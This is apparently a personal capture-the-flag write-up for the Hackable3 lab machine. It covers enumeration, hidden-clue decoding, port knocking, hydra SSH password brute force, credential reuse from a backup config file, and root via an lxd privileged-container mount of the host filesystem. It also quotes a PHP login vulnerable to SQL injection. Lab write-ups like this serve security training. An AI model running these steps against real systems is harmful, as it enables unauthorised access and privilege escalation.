Field notes
CTF : Hackable3
Informations
- IP: 192.168.0.162
- MYIP: 192.168.0.36
First enumeration
Basics
- NMAP
$ sudo nmap -p- -A 192.168.0.162
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-30 17:24 CEST
Nmap scan report for 192.168.0.162
Host is up (0.00018s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.46 ((Ubuntu))
|_http-title: Kryptos - LAN Home
| http-robots.txt: 1 disallowed entry
|_/config
|_http-server-header: Apache/2.4.46 (Ubuntu)
MAC Address: 08:00:27:59:87:F9 (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=7/30%OT=80%CT=1%CU=35396%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=62E54D56%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=Z%CI=Z%II=I
OS:%TS=A)OPS(O1=M5B4ST11NW6%O2=M5B4ST11NW6%O3=M5B4NNT11NW6%O4=M5B4ST11NW6%O
OS:5=M5B4ST11NW6%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6
OS:=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.18 ms 192.168.0.162
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.92 seconds
Vulnerabilities search
Following the disallowed dir in robots.txt I found 1.txt
$ curl http://192.168.0.162/config/1.txt
MTAwMDA=
$ echo -ne 'MTAwMDA=' | base64 -d -
10000
Ok, let's keep enumerating...
First I gone to http://192.168.0.162, exploring source code revealed two interesting informations :
<!-- "Please, jubiscleudo, don't forget to activate the port knocking when exiting your section, and tell the boss not to forget to approve the .jpg file - dev_suport@hackable3.com" -->
<a href="login_page/login.html" target="_blank">Login</a>
On the login page there was another html comment :
<!--This page is not ready, may give error-->
I tried to log into the website that returns a blank page... but source code was more usefull :
<?php
include('config.php');
$usuario = $_POST['user'];
$senha = $_POST['pass'];
$query = " SELECT * FROM usuarios WHERE user = '{$usuario}' and pass = '{$senha}'";
$result = mysqli_query($conexao, $query);
$row = mysqli_num_rows($result);
#validação conta
if($row == 1) {
$_SESSION['usuario'] = $usuario;
header('Location: 3.jpg');
exit();
} else {
$_SESSION['nao_autenticado'] = true;
header('Location: login_page/login.html');
exit();
}
?>
So I decided to explore a bit more, for instance, config.php :
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', '');
define('DB_NAME', 'hackable');
/* Attempt to connect to MySQL database */
$conexao = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($conexao === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
} else {
}
?>
Then I download file 3.jpg there was a something hidden :
$ stegseek 3.jpg /usr/share/wordlists/rockyou.txt
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found passphrase: ""
[i] Original filename: "steganopayload148505.txt".
[i] Extracting to "3.jpg.out".
$ cat 3.jpg.out
porta:65535
Ok, 1.txt, 3.jpg, I missed something !
In /css I found :
$ curl http://192.168.0.162/css/2.txt
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>------------------....
This brainfuck language I decoded it via decode.fr. Result is 4444
As we saw earlier there was a port knocking action, so I assumed that if we knock on port 10000 then port 4444 and finally port 65535 it would open a port... maybe port 22 :
nc -w 1 192.168.0.162 10000 ; nc -w 1 192.168.0.162 4444 ; nc -w 1 192.168.0.162 65535
After that something has changed :)
$ sudo nmap -p22 -A 192.168.0.162
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-30 18:14 CEST
Nmap scan report for 192.168.0.162
Host is up (0.00017s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 04:d8:fd:13:8e:0b:5b:99:96:42:47:97:ce:ed:c0:92 (RSA)
| 256 43:61:df:ef:85:6d:50:cd:c1:6c:3f:bd:02:68:de:6c (ECDSA)
|_ 256 ad:71:c0:2e:e8:d6:4b:d7:e5:ec:e9:c0:0a:24:8e:b7 (ED25519)
MAC Address: 08:00:27:59:87:F9 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 5.0 - 5.3 (99%), Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Netgear ReadyNAS 2100 (RAIDiator 4.2.24) (96%), Linux 2.6.32 - 3.10 (96%), Linux 4.15 - 5.6 (96%), Linux 5.3 - 5.4 (96%), Sony X75CH-series Android TV (Android 5.0) (95%), Linux 3.1 (95%), Linux 3.2 (95%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.17 ms 192.168.0.162
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
On /backup there was a wordlist.txt file :
$ wget http://192.168.0.162/backup/wordlist.txt
Now everything leads to discover jubiscleudo's password on ssh service...
Exploit
To discover this password I used hydra and the wordlist found earlier :
$ hydra -l jubiscleudo -P wordlist.txt -t4 -v ssh://192.168.0.162
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-07-30 18:20:34
[...]
[22][ssh] host: 192.168.0.162 login: jubiscleudo password: -----
[STATUS] attack finished for 192.168.0.162 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-07-30 18:28:09
$ cat .user.txt
% ,%&&%#.
% *&&&&%%&%&&&&&&%
% &&&& .%&&&
% &&&# %&&&
% /&&& &&&.
% %&%/ %&&*
% .&&# (%%(, ,(&&* %&&
% &&% %&&&&&&&&&&&&&&%&%# &&&
% &&%&&&&&&& #&&&&&* &&&&&&&%&%
% &&&&&&&&&&&&&&, /&&&&&&&&&&&&&&
% &&&&&&&% &&&&&&&&
% %&&%&&&& /&&&%&&&%
% &.%&&% %&&% &&&& %&&/*&
% &&&&&&&&&& %&&&&# %%&&&& %&&&&&&&&&
% /&%&/ *&&&&&& %&&&&&&%& &&&&&&. %&&&.
% &&& &&%& %%%% .&&&
% &&% &&&
% %&&. *&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%&& /&&(
% /&&# #&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&* %&&
% &&% ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&% %&%
% &&& %&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& %&&
% &&& &&&&&&&&&&&&&&&%& %&&&&&&&&&&&&&&&% &&&
% %&&&% &&&&&&&&&&&&&&&& &&&&&&&&&&&&&&&% &%&&#
% &&&&&&&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
% &%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%
% &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%
% *&%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&
% &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%
% #%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%(
invite-me: https://www.linkedin.com/in/eliastouguinho/
Privilege escalation
Enumeration for privesc
Ok there were two users on the box
$ id jubiscleudo
uid=1001(jubiscleudo) gid=1001(jubiscleudo) groups=1001(jubiscleudo)
$ id hackable_3
uid=1000(hackable_3) gid=1000(hackable_3) groups=1000(hackable_3),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
hackable_3 was a serious candidate for privesc so I decided to see if there were some files he owns that I could read :
$ find / -user hackable_3 -readable 2>/dev/null
/scripts
$ ls -al /scripts
total 72
drwxr-xr-x 2 hackable_3 hackable_3 4096 Jun 30 2021 .
drwxr-xr-x 21 root root 4096 Apr 29 2021 ..
-rw-r--r-- 1 root root 105 Jun 30 2021 README.txt
-rwxr-xr-x 1 root root 59653 Apr 28 2021 tetris.sh
This is interesting but I could not do anything as jubiscleudo.
Then I searched for interesting files in /var/www/html :
$ cat .backup_config.php
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'hackable_3');
define('DB_PASSWORD', '------');
define('DB_NAME', 'hackable');
/* Attempt to connect to MySQL database */
$conexao = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($conexao === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
} else {
}
?>
Huuum ! :)
$ su - hackable_3
Password:
hackable_3@ubuntu20:~$ id
uid=1000(hackable_3) gid=1000(hackable_3) groups=1000(hackable_3),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
Exploit
hackable_3 is member of group lxd, which means lxc containers could run and access host filesystem as root.
On my box I prepared little container to upload to the target :
$ git clone https://github.com/saghul/lxd-alpine-builder.git
$ cd lxd-alpine-builder
$ sudo ./build-alpine
$ mv alpine-v3.16-x86_64-20220730_1852.tar.gz alpine.tar.gz
$ scp alpine.tar.gz hackable_3@192.168.0.162:/home/hackable_3/
hackable_3@192.168.0.162's password:
alpine.tar.gz 100% 3127KB 145.6MB/s 00:00
And then on the target :
lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]:
Name of the storage backend to use (btrfs, dir, lvm, ceph) [default=btrfs]: dir
dir
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
lxc image import ./alpine.tar.gz --alias myimage
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt recursive=true
lxc start ignite
lxc exec ignite /bin/sh
/ # chroot /mnt
root@ignite:/# passwd
New password:
Retype new password:
passwd: password updated successfully
root@ignite:/# exit
exit
/ # exit
With this trick I changed the host root's password and I could su to it :
$ su -
Password:
root@ubuntu20:~# cat root.txt
░░█▀░░░░░░░░░░░▀▀███████░░░░
░░█▌░░░░░░░░░░░░░░░▀██████░░░
░█▌░░░░░░░░░░░░░░░░███████▌░░
░█░░░░░░░░░░░░░░░░░████████░░
▐▌░░░░░░░░░░░░░░░░░▀██████▌░░
░▌▄███▌░░░░▀████▄░░░░▀████▌░░
▐▀▀▄█▄░▌░░░▄██▄▄▄▀░░░░████▄▄░
▐░▀░░═▐░░░░░░══░░▀░░░░▐▀░▄▀▌▌
▐░░░░░▌░░░░░░░░░░░░░░░▀░▀░░▌▌
▐░░░▄▀░░░▀░▌░░░░░░░░░░░░▌█░▌▌
░▌░░▀▀▄▄▀▀▄▌▌░░░░░░░░░░▐░▀▐▐░
░▌░░▌░▄▄▄▄░░░▌░░░░░░░░▐░░▀▐░░
░█░▐▄██████▄░▐░░░░░░░░█▀▄▄▀░░
░▐░▌▌░░░░░░▀▀▄▐░░░░░░█▌░░░░░░
░░█░░▄▀▀▀▀▄░▄═╝▄░░░▄▀░▌░░░░░░
░░░▌▐░░░░░░▌░▀▀░░▄▀░░▐░░░░░░░
░░░▀▄░░░░░░░░░▄▀▀░░░░█░░░░░░░
░░░▄█▄▄▄▄▄▄▄▀▀░░░░░░░▌▌░░░░░░
░░▄▀▌▀▌░░░░░░░░░░░░░▄▀▀▄░░░░░
▄▀░░▌░▀▄░░░░░░░░░░▄▀░░▌░▀▄░░░
░░░░▌█▄▄▀▄░░░░░░▄▀░░░░▌░░░▌▄▄
░░░▄▐██████▄▄░▄▀░░▄▄▄▄▌░░░░▄░
░░▄▌████████▄▄▄███████▌░░░░░▄
░▄▀░██████████████████▌▀▄░░░░
▀░░░█████▀▀░░░▀███████░░░▀▄░░
░░░░▐█▀░░░▐░░░░░▀████▌░░░░▀▄░
░░░░░░▌░░░▐░░░░▐░░▀▀█░░░░░░░▀
░░░░░░▐░░░░▌░░░▐░░░░░▌░░░░░░░
░╔╗║░╔═╗░═╦═░░░░░╔╗░░╔═╗░╦═╗░
░║║║░║░║░░║░░░░░░╠╩╗░╠═╣░║░║░
░║╚╝░╚═╝░░║░░░░░░╚═╝░║░║░╩═╝░
invite-me: linkedin.com/in/eliastouguinho
\o/